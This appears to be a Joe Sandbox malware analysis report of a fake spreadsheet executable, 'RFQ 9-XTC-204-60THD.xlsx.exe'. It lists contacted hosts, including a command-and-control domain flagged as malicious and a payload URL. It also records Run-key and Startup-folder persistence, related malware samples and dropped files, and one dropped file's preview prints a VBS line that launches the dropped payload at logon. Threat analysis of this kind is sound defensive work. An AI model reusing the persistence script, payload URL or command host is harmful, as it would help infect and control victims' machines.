                                    https://stackoverflow.com/q/14436606/23354RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.00000000028BA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2617888276.000000000332D000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                      		high
                                      https://github.com/mgravell/protobuf-netJRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1843673072.000000000485C000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://schemas.datacontract.org/2004/07/InstallUtil.exe, 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://stackoverflow.com/q/11564914/23354;RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                            		high
                                            https://stackoverflow.com/q/2152978/23354RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://ipwho.isdInstallUtil.exe, 00000003.00000002.2617888276.00000000034EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://ipwho.isInstallUtil.exe, 00000003.00000002.2617888276.00000000034DC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://github.com/mgravell/protobuf-netRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://stackoverflow.com/q/2152978/23354sCannotRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.oleonidas.grRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002811000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002E01000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3=UnableRFQ 9-XTC-204-60THD.xlsx.exe, RealErrorObject.exe.0.drfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameRFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1541050756.0000000002811000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2617888276.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, RealErrorObject.exe, 00000005.00000002.1821278737.0000000002E01000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://ipwho.isInstallUtil.exe, 00000003.00000002.2617888276.00000000034EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high

                                                            World Map of Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public IPs

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            69.174.99.131
                                                            		ert43w221.ydns.euUnited States
                                                            		8100ASN-QUADRANET-GLOBALUStrue
                                                            103.126.138.87
                                                            		ipwho.isUnited States
                                                            		40676AS40676USfalse
                                                            185.78.221.73
                                                            		oleonidas.grGreece
                                                            		47521IPHOSTGRIpDomainGRfalse

                                                            General Information

                                                            Joe Sandbox version:41.0.0 Charoite
                                                            Analysis ID:1567424
                                                            Start date and time:2024-12-03 15:07:34 +01:00
                                                            Joe Sandbox product:CloudBasic
                                                            Overall analysis duration:0h 8m 20s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:full
                                                            Cookbook file name:default.jbs
                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                            Number of analysed new started processes analysed:10
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:0
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Sample name:RFQ 9-XTC-204-60THD.xlsx.exe
                                                            Detection:MAL
                                                            Classification:mal100.troj.expl.evad.winEXE@8/6@4/3
                                                            EGA Information:
                                                            • Successful, ratio: 100%
                                                            HCA Information:
                                                            • Successful, ratio: 94%
                                                            • Number of executed functions: 440
                                                            • Number of non-executed functions: 30
                                                            Cookbook Comments:
                                                            • Found application associated with file extension: .exe

                                                            Warnings

                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                            • Excluded IPs from analysis (whitelisted): 84.201.208.99
                                                            • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                            • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                            • VT rate limit hit for: RFQ 9-XTC-204-60THD.xlsx.exe

                                                            Simulations

                                                            Behavior and APIs

                                                            TimeTypeDescription
                                                            09:08:27API Interceptor60x Sleep call for process: RFQ 9-XTC-204-60THD.xlsx.exe modified
                                                            09:08:52API Interceptor1x Sleep call for process: InstallUtil.exe modified
                                                            09:08:55API Interceptor54x Sleep call for process: RealErrorObject.exe modified
                                                            14:08:46AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs
                                                            14:08:59AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\SubDir\Client.exe"
                                                            14:09:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\SubDir\Client.exe"

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                            103.126.138.87Bestellung - 021224 - 901003637.exeGet hashmaliciousQuasarBrowse
                                                              https://apnasofa.com/episode/index#YmVuQG1pY3Jvc29mdC5jb20==Get hashmaliciousUnknownBrowse
                                                                Employee_Important_Message.pdfGet hashmaliciousUnknownBrowse
                                                                  Employee_Secure_Doc.pdfGet hashmaliciousUnknownBrowse
                                                                    https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                      Employee_Important_Message.pdfGet hashmaliciousUnknownBrowse
                                                                        https://apnasofa.com/episode/index#a29heXllZWNoaW5nQGZhcmVhc3QuY29tGet hashmaliciousUnknownBrowse
                                                                          http://www.urbanerecycling.comGet hashmaliciousHTMLPhisher, TechSupportScamBrowse
                                                                            0Nj1sxmCtr.exeGet hashmaliciousBinder HackTool, QuasarBrowse
                                                                              https://doam29-kk5ug.ondigitalocean.app/Get hashmaliciousTechSupportScamBrowse
                                                                                185.78.221.73FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exeGet hashmaliciousUnknownBrowse
                                                                                  FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exeGet hashmaliciousUnknownBrowse
                                                                                    ________.exeGet hashmaliciousQuasarBrowse
                                                                                      ________.exeGet hashmaliciousQuasarBrowse
                                                                                        Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                                          Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                                            e-dekont (72).pdf(#U007e56 KB).exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                              DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exeGet hashmaliciousDarkCloudBrowse
                                                                                                RFQ 4748.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                  PurchOrd_75238572.pdf.exeGet hashmaliciousSnake KeyloggerBrowse

                                                                                                    Domains

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                    ipwho.isBestellung - 021224 - 901003637.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 103.126.138.87
                                                                                                    http://www.urbanerecycling.comGet hashmaliciousHTMLPhisher, TechSupportScamBrowse
                                                                                                    • 103.126.138.87
                                                                                                    0Nj1sxmCtr.exeGet hashmaliciousBinder HackTool, QuasarBrowse
                                                                                                    • 103.126.138.87
                                                                                                    https://doam29-kk5ug.ondigitalocean.app/Get hashmaliciousTechSupportScamBrowse
                                                                                                    • 103.126.138.87
                                                                                                    https://tronblma3sw.z13.web.core.windows.net/?click_id=2isqs9om0m3rjybj2&tid=903&subid=novatechwheels.com&ref=novatechwheels.com&922%5DGet hashmaliciousTechSupportScamBrowse
                                                                                                    • 103.126.138.87
                                                                                                    KRcLFIz5PCQunB7.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 103.126.138.87
                                                                                                    ________.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 195.201.57.90
                                                                                                    Zam#U00f3wienie 89118 _ Metal-Constructions.pdf.com.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 195.201.57.90
                                                                                                    Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 195.201.57.90
                                                                                                    1Eo0gOdDsV.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 195.201.57.90
                                                                                                    s-part-0035.t-0009.t-msedge.netNLNIOm0w6y.exeGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    NEW ORDER #233.xlam.xlsxGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    Pp7OXMFwqhXKx5Y.exeGet hashmaliciousFormBookBrowse
                                                                                                    • 13.107.246.63
                                                                                                    629105847300XXX024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                    • 13.107.246.63
                                                                                                    Oder Request &Company profile.xlsGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    file.exeGet hashmaliciousFormBookBrowse
                                                                                                    • 13.107.246.63
                                                                                                    0200011080.xlsGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    New Purchase Order.exeGet hashmaliciousFormBookBrowse
                                                                                                    • 13.107.246.63
                                                                                                    Swiftcopy.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    Pagamento deposito e fattura proforma firmata.xlsGet hashmaliciousUnknownBrowse
                                                                                                    • 13.107.246.63
                                                                                                    default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com0200011080.xlsGet hashmaliciousUnknownBrowse
                                                                                                    • 217.20.56.98
                                                                                                    Swiftcopy.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                                                    • 84.201.208.102
                                                                                                    Pagamento deposito e fattura proforma firmata.xlsGet hashmaliciousUnknownBrowse
                                                                                                    • 84.201.211.36
                                                                                                    442.docx.exeGet hashmaliciousRMSRemoteAdminBrowse
                                                                                                    • 84.201.208.103
                                                                                                    Employee_Important_Message.pdfGet hashmaliciousUnknownBrowse
                                                                                                    • 84.201.208.99
                                                                                                    SPP_14667098030794_8611971920#U00b7pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                    • 84.201.208.101
                                                                                                    rAttached_updat.vbsGet hashmaliciousGuLoader, RemcosBrowse
                                                                                                    • 84.201.211.40
                                                                                                    1d5sraR1S1.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                    • 84.201.211.39
                                                                                                    file.exeGet hashmaliciousStealcBrowse
                                                                                                    • 217.20.56.100
                                                                                                    file.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                                                                    • 217.20.56.102

                                                                                                    ASNs

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                    ASN-QUADRANET-GLOBALUSquotation.exeGet hashmaliciousFormBookBrowse
                                                                                                    • 155.94.253.4
                                                                                                    Quote Qu11262024.scr.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                                    • 66.63.187.246
                                                                                                    sora.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                                    • 154.205.102.33
                                                                                                    la.bot.arm.elfGet hashmaliciousMiraiBrowse
                                                                                                    • 104.200.67.193
                                                                                                    la.bot.arm6.elfGet hashmaliciousUnknownBrowse
                                                                                                    • 103.230.140.211
                                                                                                    botx.mpsl.elfGet hashmaliciousMiraiBrowse
                                                                                                    • 199.180.254.132
                                                                                                    specifications.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                    • 155.94.253.4
                                                                                                    armv7l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                    • 193.111.248.45
                                                                                                    mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                    • 193.111.248.45
                                                                                                    armv4l.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                    • 193.111.248.45
                                                                                                    IPHOSTGRIpDomainGRFW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exeGet hashmaliciousUnknownBrowse
                                                                                                    • 185.78.221.73
                                                                                                    FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exeGet hashmaliciousUnknownBrowse
                                                                                                    • 185.78.221.73
                                                                                                    ________.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 185.78.221.73
                                                                                                    ________.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 185.78.221.73
                                                                                                    Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 185.78.221.73
                                                                                                    Order88983273293729387293828PDF.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 185.78.221.73
                                                                                                    e-dekont (72).pdf(#U007e56 KB).exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                    • 185.78.221.73
                                                                                                    DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exeGet hashmaliciousDarkCloudBrowse
                                                                                                    • 185.78.221.73
                                                                                                    RFQ 4748.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                    • 185.78.221.73
                                                                                                    PurchOrd_75238572.pdf.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                    • 185.78.221.73
                                                                                                    AS40676USBestellung - 021224 - 901003637.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 103.126.138.87
                                                                                                    https://apnasofa.com/episode/index#YmVuQG1pY3Jvc29mdC5jb20==Get hashmaliciousUnknownBrowse
                                                                                                    • 103.126.138.87
                                                                                                    Employee_Important_Message.pdfGet hashmaliciousUnknownBrowse
                                                                                                    • 103.126.138.87
                                                                                                    sora.arm.elfGet hashmaliciousMiraiBrowse
                                                                                                    • 107.169.202.161
                                                                                                    powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                    • 23.91.0.144
                                                                                                    x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                    • 107.176.168.239
                                                                                                    la.bot.sparc.elfGet hashmaliciousMiraiBrowse
                                                                                                    • 107.177.38.11
                                                                                                    sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                    • 104.244.155.34
                                                                                                    Employee_Secure_Doc.pdfGet hashmaliciousUnknownBrowse
                                                                                                    • 103.126.138.87
                                                                                                    https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                                    • 103.126.138.87

                                                                                                    JA3 Fingerprints

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                    3b5074b1b5d032e5620f69f9f700ff0eSANTANDER%20AUDITORIA.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    Ref#1550238.exeGet hashmaliciousUnknownBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    Bestellung - 021224 - 901003637.exeGet hashmaliciousQuasarBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    Teklif Talebi- #U0130hale 14990_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    NEW90FL0OtSHAz.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    1099833039444.pdf.jsGet hashmaliciousRemcosBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    https://nam05.safelinks.protection.outlook.com.url.atp-redirect.protected-forms.com/XTnQrajg1OGVHZkdSZC9jY09NbW40Z2plNHVuWDhsQVZRZkFYNVBxOWlTekFXSXBLSVRWLyt2WXhuS1hGNVo3UUxGQTRLRVpXNHpLSjVKdDEvbHJLSmtFWjMzbFIxb3IvR2xvdWJ1em5yeTJBK1FXdzF3UG52YXBaVmJBSEJZcXBSdjFvMTh6TmplRHV4azZ6UHkrTnM5dUY2QmVzbVFVRWk5di9PMEZxZ2lXNnM5N2tuOExqN1pyUy0tcEx5Q0xXTTBEOURyNFdnTS0tTTJJM3JGT2w2ZzQxTnorb2NMd1lrZz09?cid=2305347406Get hashmaliciousKnowBe4Browse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    kjsdhf243kj2.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73
                                                                                                    kjsdfhsdHndf.batGet hashmaliciousAbobus Obfuscator, BraodoBrowse
                                                                                                    • 103.126.138.87
                                                                                                    • 185.78.221.73

                                                                                                    Dropped Files

                                                                                                    ⊘No context

                                                                                                    Created / dropped Files

                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                    Download File
                                                                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                                                                    Category:dropped
                                                                                                    Size (bytes):71954
                                                                                                    Entropy (8bit):7.996617769952133
                                                                                                    Encrypted:true
                                                                                                    SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                                                                    MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                                                                    SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                                                                    SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                                                                    SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                                                                    Malicious:false
                                                                                                    Reputation:high, very likely benign file
                                                                                                    Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                                                                    C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                    Download File
                                                                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    File Type:data
                                                                                                    Category:dropped
                                                                                                    Size (bytes):328
                                                                                                    Entropy (8bit):3.141785112603811
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:6:kKrgn9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:s2DnLNkPlE99SNxAhUe/3
                                                                                                    MD5:2F3DC0908DD2A0E243C9D0464BBF4C64
                                                                                                    SHA1:D2189872186869E7442F64C065E7496E8F809794
                                                                                                    SHA-256:456E0C9784316401B0C1B1329D72E7AA5C8D375A7BB4FD22C32899E3397F0A5C
                                                                                                    SHA-512:668E82B59B35866417F4E8CF394A0F8801FDC9538A26605F70DBD4FAEFCA2B886B3D49390C705138CA3482F9DA9C3B6E64FDD02F2380306288999D6961E835A6
                                                                                                    Malicious:false
                                                                                                    Reputation:low
                                                                                                    Preview:p...... ........,2..E..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

                                                                                                    Download File
                                                                                                    Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):1119
                                                                                                    Entropy (8bit):5.345080863654519
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:24:ML9E4KiE4Kx1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MxHKiHKx1qHiYHKh3oPtHo6hAHKze0Hj
                                                                                                    MD5:E6726BABA80C39624BADA32F0CCE6B54
                                                                                                    SHA1:4C769FA8A02DBE33AA9084040A9E6C70230334FA
                                                                                                    SHA-256:6A9F9C628B47AFC2A34A71826450A12D9293709BF977E72C04102F9DDD3705E0
                                                                                                    SHA-512:BBCCE0FCC59D29116253E71ECC786B8E3BA19D9A3124F36FEC9963C7F47016F145C76C18C5AD0FB6186ADEA69652BA99F29EF5AB5E71EFDD7EC07A82BB366960
                                                                                                    Malicious:false
                                                                                                    Reputation:moderate, very likely benign file
                                                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs

                                                                                                    Download File
                                                                                                    Process:C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):89
                                                                                                    Entropy (8bit):4.70098620607266
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:3:FER/n0eFHHoqLTVSREaKC5wNXMejRJnn:FER/lFHIqLTwiaZ5wFMi
                                                                                                    MD5:83FD01E4DD56969D120EEBCD2CA40FC9
                                                                                                    SHA1:FE3C3514CFCE0BB22B3DC7A88CDA8193FEA64BF8
                                                                                                    SHA-256:F90AAA3CF15F1CED0BD6658936F14090AEBB7E5FEB8E175ADF027F11AA76AFE5
                                                                                                    SHA-512:0AD1304ACBCC31AA4D9266C93DEFED091767D1D73B3D2B235AD1A71113C52BCA1B2CB39BACFA7088F433FE30846AF5224BE98EAEE316FE3D88614DEDA40F8632
                                                                                                    Malicious:true
                                                                                                    Preview:CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\RealErrorObject.exe"""

                                                                                                    C:\Users\user\AppData\Roaming\RealErrorObject.exe

                                                                                                    Download File
                                                                                                    Process:C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                    Category:dropped
                                                                                                    Size (bytes):146432
                                                                                                    Entropy (8bit):5.668275572148055
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:3072:IODxM5DNveAHHY+axlCTo0JLsLbJo9LdtxAuAqdES0m5kJ8QvT5+hM94K2icI7y:IO9M5DNveAHHY+clCU0JLsLb+9LdtxAN
                                                                                                    MD5:C9951FB84A416C1F329B39B2DA482348
                                                                                                    SHA1:E250949B96260DF94F7C4CCE9EF009069690FFE6
                                                                                                    SHA-256:DE6B367A4B3A81FEA07CDAA9406B9B70A994581CFAE539F5DA441268E4BE4188
                                                                                                    SHA-512:1E450FC3FFF15FACD76CE9AC643E2E0EF2FFAD6E18BA54DD70F93968FC984D14F81F8429409DDF25320A2D80DF6E240367B2DD49E4793ACAD2460C158E62C556
                                                                                                    Malicious:true
                                                                                                    Antivirus:
                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                    • Antivirus: ReversingLabs, Detection: 42%
